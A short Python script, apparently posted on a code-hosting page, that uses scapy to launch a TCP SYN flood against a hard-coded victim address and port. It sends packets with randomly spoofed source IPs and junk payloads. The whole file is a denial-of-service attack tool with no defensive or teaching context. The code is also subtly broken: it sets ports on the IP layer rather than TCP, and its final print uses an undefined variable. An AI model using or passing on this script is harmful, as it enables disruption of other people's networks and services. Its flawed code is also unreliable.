tcp_syn_flooding.py 893 Bytes
from scapy.all import *
'''from scapy.layers.inet import TCP, UDP, ICMP, IP
from scapy.layers.l2 import Ether
from scapy.config import conf, ConfClass
from scapy.sendrecv import *
'''
import os
import random


def RunFlood(vic_ip, vic_port, pkt_count):
    port = vic_port
    for i in range(0, pkt_count):
        pkt_IP = IP()
        pkt_IP.src = "%i.%i.%i.%i" % (random.randint(1,255),random.randint(1,255),random.randint(1,255), random.randint(1,255))
        pkt_IP.dst = vic_ip
        pkt_TCP = TCP()
        pkt_IP.sport = RandShort()
        pkt_IP.dport = vic_port
        pkt_TCP.flags = 'S'
        
        raw = Raw(b"N"*1024) # payload
        packet = pkt_IP/pkt_TCP/raw
        send(packet,verbose=0)
        print(pkt_IP.src, " to ", pkt_IP.dst)
    print(x, "packets Sent.")



def main():
    RunFlood("192.168.219.110", 8080, 1000)

if __name__ == "__main__":
    main()